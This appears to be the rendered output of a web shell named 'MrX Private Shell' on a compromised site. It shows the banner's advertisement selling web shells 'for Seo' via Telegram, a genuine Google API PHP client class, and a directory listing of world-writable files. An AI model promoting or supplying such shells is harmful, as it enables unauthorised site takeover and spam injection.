__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Copyright 2010 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
if (!class_exists('Google_Client')) {
require_once dirname(__FILE__) . '/../autoload.php';
}
/**
* Implements the actual methods/resources of the discovered Google API using magic function
* calling overloading (__call()), which on call will see if the method name (plus.activities.list)
* is available in this service, and if so construct an apiHttpRequest representing it.
*
*/
#[AllowDynamicProperties]
class Google_Service_Resource
{
// Valid query parameters that work, but don't appear in discovery.
private $stackParameters = array(
'alt' => array('type' => 'string', 'location' => 'query'),
'fields' => array('type' => 'string', 'location' => 'query'),
'trace' => array('type' => 'string', 'location' => 'query'),
'userIp' => array('type' => 'string', 'location' => 'query'),
'quotaUser' => array('type' => 'string', 'location' => 'query'),
'data' => array('type' => 'string', 'location' => 'body'),
'mimeType' => array('type' => 'string', 'location' => 'header'),
'uploadType' => array('type' => 'string', 'location' => 'query'),
'mediaUpload' => array('type' => 'complex', 'location' => 'query'),
'prettyPrint' => array('type' => 'string', 'location' => 'query'),
);
/** @var string $rootUrl */
private $rootUrl;
/** @var Google_Client $client */
private $client;
/** @var string $serviceName */
private $serviceName;
/** @var string $servicePath */
private $servicePath;
/** @var string $resourceName */
private $resourceName;
/** @var array $methods */
private $methods;
public function __construct($service, $serviceName, $resourceName, $resource)
{
$this->rootUrl = $service->rootUrl;
$this->client = $service->getClient();
$this->servicePath = $service->servicePath;
$this->serviceName = $serviceName;
$this->resourceName = $resourceName;
$this->methods = is_array($resource) && isset($resource['methods']) ?
$resource['methods'] :
array($resourceName => $resource);
}
/**
* TODO: This function needs simplifying.
* @param $name
* @param $arguments
* @param $expected_class - optional, the expected class name
* @return Google_Http_Request|expected_class
* @throws Google_Exception
*/
public function call($name, $arguments, $expected_class = null)
{
if (! isset($this->methods[$name])) {
$this->client->getLogger()->error(
'Service method unknown',
array(
'service' => $this->serviceName,
'resource' => $this->resourceName,
'method' => $name
)
);
throw new Google_Exception(
"Unknown function: " .
"{$this->serviceName}->{$this->resourceName}->{$name}()"
);
}
$method = $this->methods[$name];
$parameters = $arguments[0];
// postBody is a special case since it's not defined in the discovery
// document as parameter, but we abuse the param entry for storing it.
$postBody = null;
if (isset($parameters['postBody'])) {
if ($parameters['postBody'] instanceof Google_Model) {
// In the cases the post body is an existing object, we want
// to use the smart method to create a simple object for
// for JSONification.
$parameters['postBody'] = $parameters['postBody']->toSimpleObject();
} else if (is_object($parameters['postBody'])) {
// If the post body is another kind of object, we will try and
// wrangle it into a sensible format.
$parameters['postBody'] =
$this->convertToArrayAndStripNulls($parameters['postBody']);
}
$postBody = json_encode($parameters['postBody']);
if ($postBody === false && $parameters['postBody'] !== false) {
throw new Google_Exception("JSON encoding failed. Ensure all strings in the request are UTF-8 encoded.");
}
unset($parameters['postBody']);
}
// TODO: optParams here probably should have been
// handled already - this may well be redundant code.
if (isset($parameters['optParams'])) {
$optParams = $parameters['optParams'];
unset($parameters['optParams']);
$parameters = array_merge($parameters, $optParams);
}
if (!isset($method['parameters'])) {
$method['parameters'] = array();
}
$method['parameters'] = array_merge(
$this->stackParameters,
$method['parameters']
);
foreach ($parameters as $key => $val) {
if ($key != 'postBody' && ! isset($method['parameters'][$key])) {
$this->client->getLogger()->error(
'Service parameter unknown',
array(
'service' => $this->serviceName,
'resource' => $this->resourceName,
'method' => $name,
'parameter' => $key
)
);
throw new Google_Exception("($name) unknown parameter: '$key'");
}
}
foreach ($method['parameters'] as $paramName => $paramSpec) {
if (isset($paramSpec['required']) &&
$paramSpec['required'] &&
! isset($parameters[$paramName])
) {
$this->client->getLogger()->error(
'Service parameter missing',
array(
'service' => $this->serviceName,
'resource' => $this->resourceName,
'method' => $name,
'parameter' => $paramName
)
);
throw new Google_Exception("($name) missing required param: '$paramName'");
}
if (isset($parameters[$paramName])) {
$value = $parameters[$paramName];
$parameters[$paramName] = $paramSpec;
$parameters[$paramName]['value'] = $value;
unset($parameters[$paramName]['required']);
} else {
// Ensure we don't pass nulls.
unset($parameters[$paramName]);
}
}
$this->client->getLogger()->info(
'Service Call',
array(
'service' => $this->serviceName,
'resource' => $this->resourceName,
'method' => $name,
'arguments' => $parameters,
)
);
$url = Google_Http_REST::createRequestUri(
$this->servicePath,
$method['path'],
$parameters
);
$httpRequest = new Google_Http_Request(
$url,
$method['httpMethod'],
null,
$postBody
);
if ($this->rootUrl) {
$httpRequest->setBaseComponent($this->rootUrl);
} else {
$httpRequest->setBaseComponent($this->client->getBasePath());
}
if ($postBody) {
$contentTypeHeader = array();
$contentTypeHeader['content-type'] = 'application/json; charset=UTF-8';
$httpRequest->setRequestHeaders($contentTypeHeader);
$httpRequest->setPostBody($postBody);
}
$httpRequest = $this->client->getAuth()->sign($httpRequest);
$httpRequest->setExpectedClass($expected_class);
if (isset($parameters['data']) &&
($parameters['uploadType']['value'] == 'media' || $parameters['uploadType']['value'] == 'multipart')) {
// If we are doing a simple media upload, trigger that as a convenience.
$mfu = new Google_Http_MediaFileUpload(
$this->client,
$httpRequest,
isset($parameters['mimeType']) ? $parameters['mimeType']['value'] : 'application/octet-stream',
$parameters['data']['value']
);
}
if (isset($parameters['alt']) && $parameters['alt']['value'] == 'media') {
$httpRequest->enableExpectedRaw();
}
if ($this->client->shouldDefer()) {
// If we are in batch or upload mode, return the raw request.
return $httpRequest;
}
return $this->client->execute($httpRequest);
}
protected function convertToArrayAndStripNulls($o)
{
$o = (array) $o;
foreach ($o as $k => $v) {
if ($v === null) {
unset($o[$k]);
} elseif (is_object($v) || is_array($v)) {
$o[$k] = $this->convertToArrayAndStripNulls($o[$k]);
}
}
return $o;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| AdExchangeBuyer.php | File | 174.83 KB | 0777 |
|
| AdExchangeSeller.php | File | 45.83 KB | 0777 |
|
| AdSense.php | File | 101.29 KB | 0777 |
|
| AdSenseHost.php | File | 61.74 KB | 0777 |
|
| Admin.php | File | 4.46 KB | 0777 |
|
| Analytics.php | File | 272.44 KB | 0777 |
|
| AndroidEnterprise.php | File | 97.03 KB | 0777 |
|
| AndroidPublisher.php | File | 124.87 KB | 0777 |
|
| AppState.php | File | 10.23 KB | 0777 |
|
| Appengine.php | File | 51.47 KB | 0777 |
|
| Appsactivity.php | File | 14.46 KB | 0777 |
|
| Audit.php | File | 10.1 KB | 0777 |
|
| Autoscaler.php | File | 35.74 KB | 0777 |
|
| Bigquery.php | File | 93.68 KB | 0777 |
|
| Blogger.php | File | 89.81 KB | 0777 |
|
| Books.php | File | 187.8 KB | 0777 |
|
| Calendar.php | File | 116.73 KB | 0777 |
|
| CivicInfo.php | File | 39.84 KB | 0777 |
|
| Classroom.php | File | 50.79 KB | 0777 |
|
| CloudMonitoring.php | File | 34.61 KB | 0777 |
|
| CloudUserAccounts.php | File | 65.17 KB | 0777 |
|
| Cloudbilling.php | File | 14.38 KB | 0777 |
|
| Clouddebugger.php | File | 37.09 KB | 0777 |
|
| Cloudlatencytest.php | File | 7.14 KB | 0777 |
|
| Cloudresourcemanager.php | File | 30.68 KB | 0777 |
|
| Cloudsearch.php | File | 1.37 KB | 0777 |
|
| Cloudtrace.php | File | 13.1 KB | 0777 |
|
| Compute.php | File | 520.94 KB | 0777 |
|
| Computeaccounts.php | File | 45.65 KB | 0777 |
|
| Container.php | File | 26.63 KB | 0777 |
|
| Coordinate.php | File | 42.6 KB | 0777 |
|
| Customsearch.php | File | 29.92 KB | 0777 |
|
| DataTransfer.php | File | 14.96 KB | 0777 |
|
| Dataflow.php | File | 90.7 KB | 0777 |
|
| Datastore.php | File | 37.06 KB | 0777 |
|
| DeploymentManager.php | File | 57.43 KB | 0777 |
|
| Dfareporting.php | File | 626.18 KB | 0777 |
|
| Directory.php | File | 192.76 KB | 0777 |
|
| Dns.php | File | 25.9 KB | 0777 |
|
| DoubleClickBidManager.php | File | 26.85 KB | 0777 |
|
| Doubleclicksearch.php | File | 40.61 KB | 0777 |
|
| Drive.php | File | 155.39 KB | 0777 |
|
| Exception.php | File | 2.72 KB | 0777 |
|
| Fitness.php | File | 46.34 KB | 0777 |
|
| Freebase.php | File | 12.63 KB | 0777 |
|
| Fusiontables.php | File | 69.8 KB | 0777 |
|
| Games.php | File | 192.63 KB | 0777 |
|
| GamesConfiguration.php | File | 31.3 KB | 0777 |
|
| GamesManagement.php | File | 41.58 KB | 0777 |
|
| Genomics.php | File | 107.03 KB | 0777 |
|
| Gmail.php | File | 65.4 KB | 0777 |
|
| GroupsMigration.php | File | 3.35 KB | 0777 |
|
| Groupssettings.php | File | 11.12 KB | 0777 |
|
| IdentityToolkit.php | File | 42.15 KB | 0777 |
|
| Licensing.php | File | 14.86 KB | 0777 |
|
| Logging.php | File | 9.15 KB | 0777 |
|
| Manager.php | File | 45.88 KB | 0777 |
|
| MapsEngine.php | File | 183.98 KB | 0777 |
|
| Mirror.php | File | 47.96 KB | 0777 |
|
| Oauth2.php | File | 10.99 KB | 0777 |
|
| Pagespeedonline.php | File | 19.92 KB | 0777 |
|
| Partners.php | File | 44.94 KB | 0777 |
|
| Playmoviespartner.php | File | 43.75 KB | 0777 |
|
| Plus.php | File | 84.55 KB | 0777 |
|
| PlusDomains.php | File | 93.89 KB | 0777 |
|
| Prediction.php | File | 31.39 KB | 0777 |
|
| Proximitybeacon.php | File | 37.72 KB | 0777 |
|
| Pubsub.php | File | 26.95 KB | 0777 |
|
| QPXExpress.php | File | 31.48 KB | 0777 |
|
| Replicapool.php | File | 38.83 KB | 0777 |
|
| Replicapoolupdater.php | File | 37.11 KB | 0777 |
|
| Reports.php | File | 28.55 KB | 0777 |
|
| Reseller.php | File | 33.09 KB | 0777 |
|
| Resource.php | File | 8.45 KB | 0777 |
|
| Resourceviews.php | File | 37.28 KB | 0777 |
|
| SQLAdmin.php | File | 102.96 KB | 0777 |
|
| Script.php | File | 9.22 KB | 0777 |
|
| ShoppingContent.php | File | 234.26 KB | 0777 |
|
| SiteVerification.php | File | 12.06 KB | 0777 |
|
| Spectrum.php | File | 42.2 KB | 0777 |
|
| Storage.php | File | 105.8 KB | 0777 |
|
| Storagetransfer.php | File | 41.66 KB | 0777 |
|
| TagManager.php | File | 101.25 KB | 0777 |
|
| Taskqueue.php | File | 19.95 KB | 0777 |
|
| Tasks.php | File | 25.42 KB | 0777 |
|
| Translate.php | File | 9.65 KB | 0777 |
|
| Urlshortener.php | File | 10.52 KB | 0777 |
|
| Webfonts.php | File | 4.75 KB | 0777 |
|
| Webmasters.php | File | 33.68 KB | 0777 |
|
| YouTube.php | File | 383.98 KB | 0777 |
|
| YouTubeAnalytics.php | File | 35.47 KB | 0777 |
|
| YouTubeReporting.php | File | 19.35 KB | 0777 |
|